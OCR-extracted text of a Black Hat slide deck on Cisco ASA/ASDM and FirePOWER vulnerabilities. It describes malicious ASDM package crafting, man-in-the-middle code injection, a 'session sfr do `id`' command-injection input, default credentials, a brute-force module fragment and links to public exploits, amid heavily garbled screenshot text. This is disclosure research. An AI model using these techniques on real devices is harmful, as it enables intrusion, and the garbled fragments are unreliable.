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Introduction

irtual Appliance (ASAv)

ble‘%gg at ASA'/

00 I SANID B asav-esxi

(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227-7813.

Cisco Systems, Inc.
178 Hest Tasman Drive
San Jose, California 95134-1786

Failed to read OUF checksum from the secure store. rcode b

Cryptochecksum (unchanged): Z8ledcHl 4d9fd628 aB41dB95 75aelb5d

Power-0On Self-Test in process.
Power-0On Self-Test complete.

Starting SW-DRBG health test...

SH-DRBG health test passed.

enable_1 logged in to ciscoasa
Logins over the last 1 days: 1.
Failed logins since the last login: 8.
Type help or '?’ for a list of available commands.
ciscoasa>
Harning: ASAv platform license state is Unlicensed.
Install ASAv platform license for full functionality.

ASAv Product Landing Page



https://www.cisco.com/c/en/us/products/collateral/security/adaptive-security-virtual-appliance-asav/adapt-security-virtual-appliance-ds.html

Introduction

Sort of ASA

ASA Service Module

| j |'® »
Secure Firewall 3100 Series
000 Series ASA Software Landing Page

—_—

Firepower



https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html
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Introduction
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blackhat  Adaptive Security Device Manager (ASDM)

[ Cisco ASDM = [m} X

ic to searc Go

File View Tools Wizards Window Help Nimm

i Orw ‘@
Monitoring | [ save (@ Refresh cﬁack © Fomard a) Help cisco
Device List | Bookmarks Home o
Device List E Device Dashboard | € Firewall Dashboard

o?ﬁ Configuration

* add ff elete 8 Comnect Device Information Interface Status A
General Virtual Resources  License Interface 1P Address/Mask Line Link Kbps
——— outside 10.0.0.23/24 Ow ©w 3
ASAVersion:  9.14(3)18 Device Uptime:  1d 8h 48m 30s
ASDM Version: 7.14(1) Device Type:  ASAV
Firewall Mode: Routed Number of vCPUs; 1
Total Flash: 8192 MB Total Memory: 2048 MB

Select an interface to view input and output Kbps
VPN Summary Falover Status
IPsec 0 Clientless SSL VPN: 0 AnyConnect Client(SSL, TLS,DTLS): 0 Details. Failover not configured. Click the link to configure it. Configure.
System Resources Status Traffic Status
Total Memory Usage Total CPU Usage Core Usage Details Connections Per Second Usage
Memory Usage (MB) . i |
: o119 01:20 0121 ‘
W UDP: 0 M TCP: 0 M Total: 0
b ‘outside’ Interface Traffic Usage (Kbps)
o |
o01:17 o118 o119 0120 0121 ‘
T T T T M Input Kbps: 0 I Output Kbps: 3
01:17 o01:18 o01:19 01:20 0121 v
Latest ASDM Syslog Messages Og 8 x
Severity Date Time SyslogID  Source IP Source Destination IP Destina Description »
i6 725007 10.0.0.26 52495 S5 session with client outside;10.0.0,26/52495 to 10.0.0.23/443 terminated Al @
i6 106015 10.0.0.26 52495 10.0.0.23 443 Deny TCP (no connection) from 10.0.0,26/52495 ko 10.0.0.23/443 flags FIN ACK. on interface outside &£
6 302014 10.0.0.26 52495 10.0.0.23 443 Teardown TCP connection 1425 for outside:10.0.0,26/52495 to identity:10.0.0,23/443 duration 0:00:00 bytes 844 TCP Re
6 605005 10.0.0.26 52495 10.0.0.23 https  Login permitted from 10.0.0.26/52495 to outside:10.0.0.23/https for user "root”
6 725002 10.0.0.26 52495 Device completed SSL handshake with client outside:10.0.0.26/52495 to 10.0.0.23/443 for TLSv1.2 session
6 725016 Device selects trust-point ASA-self-signed for client outside:10.0.0.26/52495 to 10.0.0.23/443
i 6 725001 10.0.0.26 52495 Starting 5L handshake with client outside:10.0.0,26/52495 to 10.0.0.23/443 For TLS session
L6 302013 52495 10.0.0.23 443 Built inbound TCP connection 1425 for outside: 10, 6/52495 (10.0.0.26/52495) to identity:10.0.0.23/443 (10.0.0.23/4
L6 725007 10.0.0.26 52494 S5 session with client outside:10.0.0,26/52494 to 10.0.0,23/443 terminated
L6 106015 10.0.0.26 52494 10.0.0.23 443 Deny TCP (no connection) from 10.0.0,26/52494 to 10,0.0.23/443 flags FIN ACK. on interface outside
6 302014 10.0.0.26 52494 10.0.0.23 443 Teardown TCP connection 1424 for outside:10.0.0,26/52494 to identity:10.0.0,23/443 duration 0:00:00 bytes 1049 TCP R
6 605005 10.0.0.26 52494 10.0.0.23 https  Login permitted from 10,0.0.26/52494 to outside:10.0.0,23/https for user "root”
L6 725002 10.0.0.26 52494 Device completed S5L handshake with client outside:10.0.0,26/52494 to 10,0.0,23/443 for TLSv1.2 session
Al 775016 Nevice selects trust-noint ASA-self-sianed for clisnt outside: 10.0.0.96/57494 o 10.0.0.73/443 " he

root. 2

B & 5]

ASDM Product Landing Page



https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html

Understanding ASDM

Starting ASDM Client Overview
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O Exploiting ASDM
blackhat  ASDM Client Does Not Verify the Server Cert

mCisco ASDM-IDM Launcher v1.9(2) X

=L, Cisco ASDM-IDM Launcher /12t

.=

Device IP Address | Name: ]10.0.0.23

Username: ]

|

Password:
[[] remember the username of the specified device on this computer

| oK | | Close ‘

3 &|&




Exploiting ASDM

ASDM/ASA Man in the Middle
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n Exploiting ASDM
blackhat Man in the Middle with mitmproxy




Exploiting ASDM

What'’s in the SGZ?
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M
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Contents of 7.18.1 SGZ

- 13472 classfiles

- bjars

- 1 propfile

- 4 properties files

- 3txtfiles

- 1 SIGNATURE files

O github.com/jbaines-r7/getchoo



https://github.com/jbaines-r7/getchoo

Exploiting ASDM

SGZ Client LogicIsn’t Verified (CVE-2021-1585)

Home / Cisco Security / Security Advisories

a Cisco Security Advisory

Cisco Adaptive Security Device Manager Remote Code Execution

Vulnerability
Advisory ID: cisco-sa-asdm-rce-gqjShXw CVE-2021-1585 ¥ Download CVRF
First Published: 2021 July 7 16:00 GMT WE-94 Email
Medium  Lastupdated: 2021 August 5 15:49 GMT
Version 1.2: Final
Workarounds: No workarounds available

Cisco Bug IDs: CSCvw79912
CVSS Score: Base 75 @

Summary

A vulnerability in the Cisco Adaptive Security Device Manager (ASDM) Launcher could allow an
unauthenticated, remote attacker to execute arbitrary code on a user's operating system.

This vulnerability is due to a lack of proper signature verification for specific code exchanged
between the ASDM and the Launcher. An attacker could exploit this vulnerability by leveraging a
man-in-the-middle position on the network to intercept the traffic between the Launcher and
the ASDM and then inject arbitrary code. A successful exploit could allow the attacker to
execute arbitrary code on the user's operating system with the level of privileges assigned to
the ASDM Launcher. A successful exploit may require the attacker to perform a social
engineering attack to persuade the user to initiate communication from the Launcher to the
ASDM.

Cisco has not released software updates that address this vulnerability. There are no
workarounds that address this vulnerability.

Cisco Security
Vulnerability Policy

To learn about Cisco security
vulnerability disclosure
policies and publications, see
the Security Vulnerability
Policy. This document also
contains instructions for
obtaining fixed software and
receiving security vulnerability
information from Cisco.

Subscribe to Cisco
Security Notifications

Cisco ASDM RCE Vulnerability (CVE-2021-1585)



https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asdm78/general/asdm-78-general-config/intro-start.html

Exploiting ASDM

CVE-2021-1585 Exploited via Evil Endpoint

1. Administrator connects to
z = attacker using the ASDM client

2. The attacker responds with a

o malicious SGZ file.
< < ’

3. Areverse shell is established from
Ay the Administrator to the attacker




Exploiting ASDM

CVE-2021-1585 Exploits

Exploitation

Juls

st gt it (@[5 - 0 @ T P - Missing SSL verification (No CVE) plus
i SGZ code not verified (CVE-2021-1585)

e J— ‘ CVE-2021-1585

= Standard

- Disclosed in July 2021 with no patch
- Failed patch in June 2022
- Remains unpatched as of July 2022

Public Exploits

staystaystay
Metasploit module

ithub.com/jbaines-r7/cisco_asa_research
tree/main/modules/cve_2021_1585

O github.com/jbaines-r7/staystaystay



https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2021_1585
https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2021_1585
https://github.com/jbaines-r7/staystaystay

Crafting a Malicious ASDM Package

Hacker Cat Can’t Get Inside Corpnet
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Crafting a Malicious ASDM Package

Unless... We Modify the SGZ on the ASA!
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Crafting a Malicious ASDM Package

How Does the SGZ Get On the ASA?

Software Download

Downloads Home / Security / Security Management / Adaptive Security Device Manager
| Adaptive Security Appliance (ASA) Device Manager- 7.17.1.152

Details Manager
Description : Cisco Adaptive Security Device Manager for ASA 9.8-9.17 requires
Oracle JRE. ted Links and Documentation
Release : 7.17.1.152 se Notes for 7.17.1.152
Release Date : 08-Feb-2022
| FileName : asdm-7171-152.bin |
Size : 49.09 MB ( 51474324 bytes)
MDS5 Checksum : 40a57c4e98dc43899832ae20f5b090d4 [
SHAS12 Checksum : cb97f334e37bSe429b13178fe2bcacds ... & seDate Size
Release Notes for 7.17.1.152 'b-2022 49.09 MB F N
Ll asdm-7171-152.bin
7.13.1.101 . : : X S,
Cisco Adaptive Security Device Manager ~ 08-Feb-2022 124.65 MB RS
All Release G for ASA 9.8-9.17 integrated with

OpenJRE.[@
7 v asdm-openjre-7171-152.bin




Crafting a Ma SDM Package

ASDM Binary Package Format

Magic
Description

File length

Software Download Hash

Filename

Downloads Home / Security / Security Management / Adaptive Security Device Manager
/ Adaptive Security Appliance (ASA) Device Manager- 7.17.1.152

Filename

Details < | Manager Header et

Description Cisco Adaptive Security Device Manager for ASA 9.8-9.17 requires I I I e n a l I I e

Oracle JRE ted Links and Documentation

Release : 7.17.1.152 se Notes for 7.17.1.152 fset

Release Date : 08-Feb-2022 .

) - Manifest - Data offset th
size 49.09 MB ( 51474324 bytes) dla ofise

MDS Checksum 40a57c4298c43899832a62015b090d4 [ ! -]g th

SHAS12 Checksum cb97f334e37b5e429b13178fe2bcacds ... & seDate Size .

Release Notes for 7.17.1.152 15-2022 49.09 MB RY, FI Ies

Data length

asdm-7171-152.bin

7.13.1.101

Cisco Adaptive Security Device Manager ~ 08-Feb-2022 124.65 MB BN
All Release <, for ASA 9.8-9.17 integrated with
OpenJRE.@
7 v asdm-openjre-7171-152.bin

Raw Data




Crafting a Malicious ASDM Package

Is this a Security Feature?

Magic
Description
File length T
Header Filename
Manifest " Data offset
Files

\ Data length
Raw Data



0
blackhat Nope, just an MD5 Hash




Lan Clasaltic

Missing ASDM Package Verification (CVE-2022-20829)

Crafting a Malicious ASDM Package

Home / Cisco Security / Security Advisories

a Cisco Security Advisory

Cisco Adaptive Security Device Manager and Adaptive Security Appliance
Software Client-side Arbitrary Code Execution Vulnerability

Advisory ID: cisco-sa-asa-asdm-sig-NPKvwDjm CVE-2022-20829 ¥ Download CSAF
First Published: 2022 June 22 16:00 GMT CWE-345 ¥ Download CVRF

Medium Version 1.0: Final Email
Workarounds: No workarounds available

Cisco Bug IDs: CSCwb05264
CSCwb05291
CVSS Score: Base 9.1 @

Summary

A vulnerability in the packaging of Cisco Adaptive Security Device Manager (ASDM) images and
the validation of those images by Cisco Adaptive Security Appliance (ASA) Software could allow
an authenticated, remote attacker with administrative privileges to upload an ASDM image that
contains malicious code to a device that is running Cisco ASA Software.

This vulnerability is due to insufficient validation of the authenticity of an ASDM image during its
installation on a device that is running Cisco ASA Software. An attacker could exploit this
vulnerability by installing a crafted ASDM image on the device that is running Cisco ASA
Software and then waiting for a targeted user to access that device using ASDM. A successful
exploit could allow the attacker to execute arbitrary code on the machine of the targeted user
with the privileges of that user on that machine.

Cisco Security
Vulnerability Policy

To learn about Cisco security
vulnerability disclosure
policies and publications, see
the Security Vulnerability
Policy. This document also
contains instructions for
obtaining fixed software and
receiving security vulnerability
information from Cisco.

Subscribe to Cisco
Security Notifications

Your Rating:

Average Rating:
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rafting a Malicious ASDM Package

ASA Will Host Any ASDM Package
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Crafting a Malicious ASDM Package

ASDM Binary Package Contents

Magic 1. asdmb50-install.msi
2. asdmversion.html
Description 3. dm-launcher.dmg
4. dm-launcher.msi
File length 5. pdm.sgz
Filename 6. pdmversion.html
Hash Filename 7. publ?c/asa-pb_(.gif
Fil 8.  public/asdm.jnlp
Header rename 9.  public/asdm32.gif
| h 10.  public/cert.jnlp
Manifest | Dataoffset jth 11.  public/cisco.gif
12.  public/deployJava.js
Files Data length 13.  public/dm-launcher.jar
14.  public/index.html
15.  public/jploader.jar
16.  public/lzma.jar
17.  public/retroweaver-rt-2.0.jar
Raw Data 18.  public/startup.jnlp
19. version.prop



Crafting a Malicious ASDM Package

ASDM Binary Package Contains pdm.sgz

Magic 1. asdmb50-install.msi
2. asdmversion.html
Description 3. dm-launcher.dmg
4. dm-launcher.msi
File length 5. pdm.sgz
Filename 6. pdmversion.html
Fil 8.  public/asdm.jnlp
Header rename 9. public/asdm32.gif
| h 10.  public/cert.jnlp
Manifest |  Data offset jth 11.  public/cisco.gif
. 12.  public/deployJava.js
Files Data length 13.  public/dm-launcherjar
14.  public/index.html
15.  public/jploader.jar
16.  public/lzma.jar
17.  public/retroweaver-rt-2.0.jar
Raw Data 18.  public/startup.jnlp
19. version.prop



O Crafting a Malicious ASDM Package

blackhat  Extracting Cisco ASDM Binary Packages

The Way

Parses and extracts ASDM packages
Rebuilds ASDM packages
Generates ASDM packages

CVE-2022-20829

Disclosed to Cisco in February 2022
ASA Software fix planned for August 2022

ithub.com/jbaines-r7/thewa



https://github.com/jbaines-r7/theway

Crafting a Malicio SDM Package

iIsco ASDM Binary Packages

public%index.html

class="p
class="header_logo" The Way
src="asa-pix.gif" alt="" class=
"header_title"-Hello Black Hat! class=
"logo" sr cisco.gif" alt="Cisco

- Parses and extracts ASDM packages
. S O | D CiscoAsOM71701) x (=F - 0 X - Rebuilds ASDM packages
s= heade
CiSZOGZSDf'ﬁ 7‘.]172 <« C A Not secure | ktps://10.0.0.23/admin/public/index.html A 8 = 3 Generates ASDM paCkageS

L 4
interface that r
manage your Cisc

B, Hello Black Hat! s CVE-2022-20829

Cisco ASDM 7.17(1) provides an intuitive graphical user interface that makes it easy to set up,
configure and manage your Cisco security appliances.

Cisco ASDM can run as a local application or as a Java Web Start application.

Run Cisco ASDM as a local application

When you run Cisco ASDM as a local application, it connects to your security appliance from your
desktop using SSL. Running Cisco ASDM as an application has these advantages

- Disclosed to Cisco in February 2022
- ASA Software fix planned for August 2022

« You can invoke ASDM from a desktop shortcut. No browser is required.
« One desktop shortcut allows you to connect to multiple security appliances.

Install ASDM Launcher github.com/jbaines-r7/theway

Java Web Start is required to run ASDM, but it is not installed on this computer.

Install Java Web Start

Note:Starting with ASDM 7.18, ASDM will no longer support Java Web Start due to Oracle4€™s end of
support for JRE 8 and Java Network Launching Protocol (JNLP). You will have to install the ASDM
Launcher to launch ASDM.

Copyright © 2006-2022 Cisco Systems, Inc. All rights reserved.



https://github.com/jbaines-r7/theway

Crafting a Malicious ASDM Package

Generating Malicious ASDM Binary Packages

- The Way

Activities () Terminal v May 26 07:42 7 )y O
¥ albinolobster@ubuntu: ~ Q g

O " — t ‘@W_‘t - Parses and extracts ASDM packages
o : - Rebuilds ASDM packages

- Generates ASDM packages

[B) Cisco ASDM Launcher

%CiscuASDM-IDM Launcher Altls s e
4 ol bttt CVE-2022-20829

Device IP Address | Name: |10.0.0.23

Username:

Username of the specified device on this computert - Dlsclosed to C|SCO |n February 2022
- ASA Software fix planned for August 2022

|0 & &

o github.com/jbaines-r7/theway

= 10:42 AM
A D [E @ D)
s G = E ) 5/26/2022 Ez


https://github.com/jbaines-r7/theway

Crafting a Malicious ASDM Package

Malicious Cisco ASA
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Crafting a Malicious ASDM Package

How To Get Malicious ASDM Package Installed?!
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Supply Chain

Cisco ASA5508-K9 with ¢354 5
Firepower SerVices’ FREE delivery July 8 - 13.
8GE, AC, 3DES/AES Details

Visit the Amazon Renewed Store
KA KTYIYC v 2ratings

il

Or fastest delivery July 7 - 11.
Details

Price: $329.20

@ Select delivery location

Pay $27.43/month for 12 months, Only 3 left in stock -
interest-free upon approval for the order soon.
Amazon Rewards Visa Card
Qty: 1 v
The product is refurbished, is fully
functional and in excellent condition. Add to Cart
Backed by the 90-day Amazon
Renewed Guarantee. Buy Now

= This nre-owned oroduct has been




Remotely Rooting the ASA-X FirePOWER Module



ASA-X with FlrePOWER Services




Rooting the ASA-X FirePOWER Module

Remotel

ASA-X with FirePOWER Services Explained

Cisco ASA-X with FirePOWER Services

Main System

Outsid
E' Inside Firewall Policy VPN Decryption o RO
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Diverted Traffic

g

ASA FirePOWER
Module Deep Packet
Inspection

ASA FirePOWER Services

Recreation of Image Published by Cisco



https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html

Remotely Rooting the ASA-X FirePOWER Module

ASA-X with FirePOWER Services Explained

Cisco ASA-X with FirePOWER Services

A
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n Remotely Rooting the ASA-X FirePOWER Module

blackhat  Accessing the FirePOWER Module via Cisco CLI

The command to invoke
FirePOWER shell from
ASA CLI

The FirePOWER
shell requires a new
set of credentials
(admin:Admin123)

FirePOWER module shell




Remotely Rooting the ASA-X FirePOWER Module
black hat

Wl expert Command Yields Root Shell

Exit this CLI session
Invoke 11

configure Change to Configura

B <h
d SICL

D1 vy the current sessio
of the current CLI




Cisco ASA-X with FirePOWER Services
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Cisco ASA-X with FirePOWER Services

Main System
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Remotely Rooting the ASA-X FirePOWER Module

o sl Disable Root Shell via lockdown-sensor

command
the current

Mode

This actio
future CLI




POWER Modul

POWER Module

C\sco ASDM 7.17(1)152 for ASA - 10.0.0.21 — [m] X
File View Tools Wizards Window Help Type topic to search Go '| ' 'l'
N
@ Home (}% Configuration [:’J Monitoring G Save @Refresh o Back OForward ? Help CISCO
(=]

Device List | Bookmarks Home
&4 Device Dashboard €2, Firewall Dashboard | (&%) ASA FirsPOWER Status
Last updated: 8:19:18 PM Top 10 Access Rules

A

Device List a B X
Last updated: 8:19:08 PM

% Add [ Delete 8 Connect s
Find: Go C tion Statisti i
2 SEE e Interval: Based on: Packet Hits Display: | Table «
r 157
= 10.0.0.23 Interface Rule# His  Source Destination Service  Action
107
51
" : w@\mwww No data avaiable to display
20:15 20:16 20:17 20:18 20:19
M Connections: 9 Ml NAT Xlates: 1
Dropped Packets Rate
Top Usage Status Last updated: 8:19:08 PM
Top 10 Services Top 10 Sources Top 10 Destinations Top 10 Users
o Interval: |Last1hour + |  Basedon: |PacketHits «  Display: Pie
20:15 20:16 20:17 20:18 20:19
M ACL Dropped: 0 Inspection Dropped: 0
Possible Scan and SYN Attack Rates
2
i Port-1270 (2)
1 [
HTTPS-443 (1595)
5
20:15 20:16 20:17 20:18 20:19
M Scanning Attacks: 0l Syn Attacks: 0
v
<admin> 15 =) 8|  [sie228:19:18PMUTC

[Device configuration loaded successFully.




POWER Modul

File View Tools Wizards Window Help pic to search Go
LN
@j Home 0%% Configuration Monitoring D Save Refresh Back o Forward "’D Help CISCO
Device List | Bookmarks Home [E) Command Line Interface X i [m]
ice Lis = X i
Deyicellhh a2 &3, Device Dashbo Type a command to be sent directly to the device, For command help, type a command followed by a question L
o Add ﬁ Delete ﬁ Connect Device Information mark, For commands that would prompt For confirmation, add an appropriate naconfirm option as parameter to
the command and send it to the device, To make the changes permanent, use the File > Save Running
General License Configuration to Flash menu option to save the configuration to flash. [Mask e Link Kbps
Command
Host Name: le Li Itiple Li = © v O w i 2
: @) Single Line  (O) Multiple Line Enable context sensitive help (?) 1)24 © down @ down 0
ASA Version: ™ G
ASDM Version: ~ 2 © w O w
" 124 @down  @down O
Firewall Mode:
1/24 @ down @ down 0
Environment Status| . - - y
ind output Kbps
VPN Summary
Response:
IPsec 0 Client
Result of the command: "session sfr console"
System Resources Stai
Opening console session with module sfr.
Total Memory Usage onnected £o module Escape character sequence is 'CTRL-~X'. |
Memory Usage (ME) 20:32 2033 20:34
3 Total: 0
3000 Clear Response (Kbps)
20004 Close Help
e [y = - ; '
20:30 20:31 20:32 20:33 20:34
T T T T T Input Kbps: 0 [ Output Kbps: 5
20:30 20:31 20:32 20:33 20:34
Latest ASDM Syslog Messages Og 7 %
Severity Date Time SyslogID  Source IP Source Destination IP Destina Description [ 4
i 6 May 26 2022 20:34:58 302016 10.0.0.1 53 192,168.1.5 40309 Teardown UDP connection 50 For outside:10.0.0.1/53 to inside_2:192.168.1.5/40309 duration 0:0 A | [l
i 6 May 26 2022 20:34:48 302015 192.168.1.5 42048 10.0.0.1 53 Built outbound UDP connection 93 for outside:10.0.0.1/53 (10.0.0.1/53) to inside_2:192,168.1.5/¢ OO
i 6 May 26 2022 20:34:38 302016 10.0.0.1 53 192,168.1.5 53546 Teardown UDP connection 37 for outside:10.0.0.1/53 to inside_2:192,168.1.5/53546 duration 0:0
i 6 May 26 2022 20:34:28 302015 192.168.1.5 37408 10.0.0.1 53 Built outbound UDP connection 92 for outside:10.0.0.1/53 (10.0.0.1/53) to inside_2:192,168.1.5/C
i 6 May 26 2022 20:34:20 106015 10.0.0.26 51249 10.0.0.21 443 Deny TCP (no connection) from 10.0.0,26/51249 to 10.0.0.21/443 flags FIN ACK on interface out
i 6 May 26 2022 20:34:20 302014 10.0.0.26 51249 10.0.0.21 443 Teardown TCP connection 91 For outside:10,0.0.26/51249 to identity:10,0.0.21/443 duration 0:0C
i 6 May 26 2022 20:34:20 725007 10.0.0.26 51249 SSL session with client outside:10,0.0,26/51249 to 10.0,0.21/443 terminated v
< >
Device configuration loaded successfully. <admin> 15 @ @ |2| 5/26/22 8:34:52 PM UTC




Command Line Interface

Type a command to be sent directly to the device. For command help, type a command Followed by a question
mark. For commands that would prompt for confirmation, add an appropriate noconfirm option as parameter to
the command and send it to the device. To make the changes permanent, use the File > Save Running
Configuration to Flash menu option to save the configuration to Flash,

Command

(®) Single Line (O Multiple Line Enable context sensitive help (7)
session sfr do "id’

S
Response:
Ll
BEesult of the command: "session sfr do “id""
Invalid do commarcd uid=EI(r-:|Dt,:l|
W

Clear Response




Remotely Rooting the ASA-X FirePOWER Module

session sfr do shell command’

Cisco ASA-X with FirePOWER Services

Main System

E' Inside Firewall Policy VPN Decryption | ———
d —
_— —

ASA FirePOWER Services




. Remotely Rooting the ASA-X FirePOWER Module

Tweetable Reverse Shell

albinolobster@ubuntu: ~

albinolobster@ubuntu: ~




Cisco ASA-X with FirePOWER Services

Main System

E' Inside Firewall Policy VPN Decryption | ———
d —
_— —
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Remotely Rooting the ASA-X FirePOWER Module

CVE-2022-20828: Authenticated RCE

B Cisco Security Advisory

Cisco FirePOWER Software for ASA FirePOWER Module Command Injection
Vulnerability

Advisory ID: cisco-sa-asasfr-cmd-inject-PE4AGfdG CVE-2022-20828 ¥ Download CSAF

First Published: 2022 June 22 16:00 GMT CWE-236 & Download CVRF Cisco Security
Medium Version 1.0: Final Email Vulnerability Policy

Workarounds: No workarounds available

To learn about Cisco security

Cisco Bug IDs: CSCwb32418 vulnerability disclosure
policies and publications, see

CVSS Score: Base 6.5 @ the Security Vulnerability
Policy. This document also
Summary contains instructions for
obtaining fixed software and
A vulnerability in the CLI parser of Cisco FirePOWER Software for Adaptive Security Appliance receiving security vulnerability
(ASA) FirePOWER module could allow an authenticated, remote attacker to execute arbitrary information from Cisco.
commands on the underlying operating system of an affected ASA FirePOWER module as the

root user. Subscribe to Cisco

Security Notifications
This vulnerability is due to improper handling of undefined command parameters. An attacker

could exploit this vulnerability by using a crafted command on the CLI or by submitting a crafted
HTTPS request to the web-based management interface of the Cisco ASA that is hosting the

ASA FirePOWER module.




O :
blackhat  ASDM Uses HTTP Basic Auth by Default

Flow Details

Request

No request content (press tab to view response)




Remotely Rooting the ASA-X FirePOWER Module

Default Creds are <blank>:<blank>

Step1 0n the computer that you specified as the ASDM client, enter the following URL:
https://asa_ip_address/admin

Note ge sure to specify https://, and not http:// or just the IP address (which defaults to HTTP); the ASA does not automatically forward an HTTP
request to HTTPS.

The ASDM launch page appears with the following buttons:

« Install ASDM Launcher and Run ASDM
« Run ASDM
« Run Startup Wizard

Step 2 15 download the Launcher:

a. Click Install ASDM Launcher and Run ASDM.

bj Leave the username and password fields em for a new Installationll and click OK. With no HTTPS authentication configured, you can gain access
to ASDM with no username and the enable password, which is blank by default. Note: If you enabled HTTPS authentication, enter your username
and associated password. Even without authentication, if you enter a username and password at the login screen (instead of leaving the username
blank), ASDM checks the local database for a match.

c. Save the installer to your computer, and then start the installer. The ASDM-IDM Launcher opens automatically after installation is complete.

d. Enter the management IP address, the same username and password (blank for a new installation), and then click OK.

'"ASDM Book 1" by Cisco



https://www.cisco.com/c/en/us/td/docs/security/asa/asa98/asdm78/general/asdm-78-general-config/intro-start.html

Remotely Rooting the ASA-X FirePOWER Module

ASDM Logs Credentials to File

sdm_logfile

ARTIFAC
STORE_LOOT 1e
EXTRACT_DATA: true

ASDM Client Credential Logging

- Assigned CVE-2022-20651
We developed a Metasploit module that
st4/loot/2022 15_defaul 1 9.49.2409 R e >

im-idm-log-2

hunts out the leaked credentials

/home/albino

github.com/jbaines-r7/cisco_asa_research/
tree/main/modules/cve_2022 20651
10lobster/.msf4/1loot
m\log\asdm-idm-1log
06-24-16 - downloaded
albino er/.msf loot/2022

FITE WICH datd saved: ster/.msf4/loot/2 19 default_10.9.49. XTR. mi_989553. txt
al ed

execution



https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2022_20651
https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2022_20651

File

@

View Tools Wizards Window Help

D Monitoring B Save @Refresh o Back J Forw

Home

Device Management o 7 e

Type topic to search Go

= NI
".?Help cisco

> Users/AAA > AAA Server Groups o

d

> Device

vice List

w1 | D

(- {5 Management Access
323 ASDMJHTTPS | Telnet/SSH
- ZEHTTP Certificate Rule
82 HTTP Non-Browser Client
+1- £33 Command Line (CLI)
(- @i File Access
e ICMP
£ Clﬂa."}Management Interface
Management Session Quc
SNMP
- B Management Access Rule
3} @ Licensing
[ 88 System Image/Configuration
(#-18 Loaging
Smart Call-Home
£ Cloud Web Security
-2 Users/AAA
£36 LDAP Attribute Map
£ Authentication Prompt
- Hlp AAA Access
q Dynamic Access Policies
h User Accounts
g Password Policy
Change My Password
B Login History
3} Certificate Management
(- f DHCP
()-8} DNS
{i5' REST API Agent

al AAA Server Groups

Server Protocol Accounting Mode Reactivation Mode Dead Time Max Failed Attempts Add

ocaL [ | | |

[ Edit LOCAL Server Group X

Find: This Feature allows you to specify the maximum number of
failed attempts to allow before locking out and denying
access to the user, This limit is applicable only when the local
database is used For authentication.

Server Name or IP Addre| 7]

Servers in the Selected Gri

Add

Maximum Attempts: Edit

Cancel Help

Delete

Move Up

2% Remote Access VPN

Site-to-Site VPN

% Device Management

Find: (& O [IMatch Case

LDAP Attribute Map =

Apply Reset

.y

<admin> 15

B & ]

6/16/22 10:13:58 AM UTC

POWER Modul




ASDM HTTP Brute-Force

vprint status

send request cgi(
=> normalize uri

L i > ’
=> basic auth(user, pass

&& res.body.include?( s.body.include? (

report cred(ip: rhost, port: rport, user: user, pa

vprint error("FAIL

Generic HTTP brute-force won't work due to
user agent requirements.

Previous ASA brute-force modules hit the
clientless VPN interface.

ASDM credentials can give privileged access
and aid in network pivoting!

No shame in brute-force attacks. If it's good
enough for GRU, it's good enough for you.

ithub.com/jbaines-r7/cisco_asa_research
tree/main/modules/asdm_bruteforce



https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF
https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/asdm_bruteforce
https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/asdm_bruteforce

Remotely Rooting the ASA-X FirePOWER Module

O
- CVE-2022|20828 Metasploit Module

Exploitation

Authenticated command injection over
HTTP or SSH to establish a root shell
within FirePOWER module VM.

CVE-2022-20828

Disclosed to vendor in March 2022
Some versions patched in June 2022
All patched by December 2022

ithub.com/jbaines-r7/cisco_asa_research
tree/main/modules/cve_2022 20828



https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2022_20828
https://github.com/jbaines-r7/cisco_asa_research/tree/main/modules/cve_2022_20828

Getting Root With an ASA-X
FirePOWER Boot Image



Getting Root With an ASA-X FirePOWER Boot Imaqge

FirePOWER Module Not Installed, What Do?

Cisco ASA-X with FirePOWER Services

Main System

A
: Outsid
__Inside Firewall Policy VPN Decryption | <m—————— EI
&
—
Diverted Traffic
ﬁ

ASA FirePOWER Services




Getting Root With an ASA-X FirePOWER Boot Imaqge

Get a Root Shell Using a FirePOWER Boot Image

Cisco ASA-X with FirePOWER Services

Main System

| Inside Firewall Policy VPN Decryption |- ———
4
_—

ASA FirePOWER Services




Getting Root With an A X FirePOWER Boot Ima

FirePOWER Module Installation

(Q searcn.. ) ASA 5506-X with FirePOWER Services
- Release 6.2.3 Related Links and Documentation
A My Notifications Firepower Hotfix Release Notes
Release Notes for 6.2.3
6.2.3.11 Documentation Roadmap
6.2.3.10
6.2.3.1 : —
We recommend upgrading to our Suggested Release, as indicated by a gold star for each product, to take advantage
_ of resolved issues. For details, see the release notes.
6.2.2.5
File Information= Release Date Size
6.2.2.4
ASA FirePOWER module upgrade from 6.2.2 t0 6.2.3  28-Sep-2018 5.95 MB &
6.2.2.3 Do not untar
6.2.2.2 @
Cisco_Network_Sensor_Hotfix_H-6.2.3.999-5.sh.REL tar
6.2.2.1 Advisories []
6.2.2 ASA FirePOWER module upgrade from 6.2.2 t0 6.2.3  01-Apr-2018 1200.90 MB Xy
Do not untar
6.2.0.6
C]
6.2.05 Cisco_Network_Sensor_Upgrade-6.2.3-83.sh.REL tar
Advisories [
6.2.0.4
ASA FirePOWER module boot image g 01-Apr-2018 40.97 MB 3\
20> asasfr-5500x-boot-6.2.3-4.img 1
i i A
6.2.0.2 Advisories []
6.2.0.1 ASA FirePOWER module install packagefg 01-Apr-2018 1278.99 MB Xy
asasfr-sys-6.2.3-83.pkg 2
6.2.0 Advisories [

ASA 5506-X with FirePOWER Services 6.2.3 Software Download



https://software.cisco.com/download/home/286283326/type/286277393/release/6.2.3?i=!pp

Getting Root With an ASA-X FirePOWER Boot Image

Install the FirePOWER Boot Image via Cisco CLI

Complete these steps in order to download the boot image via the ASA CLI:

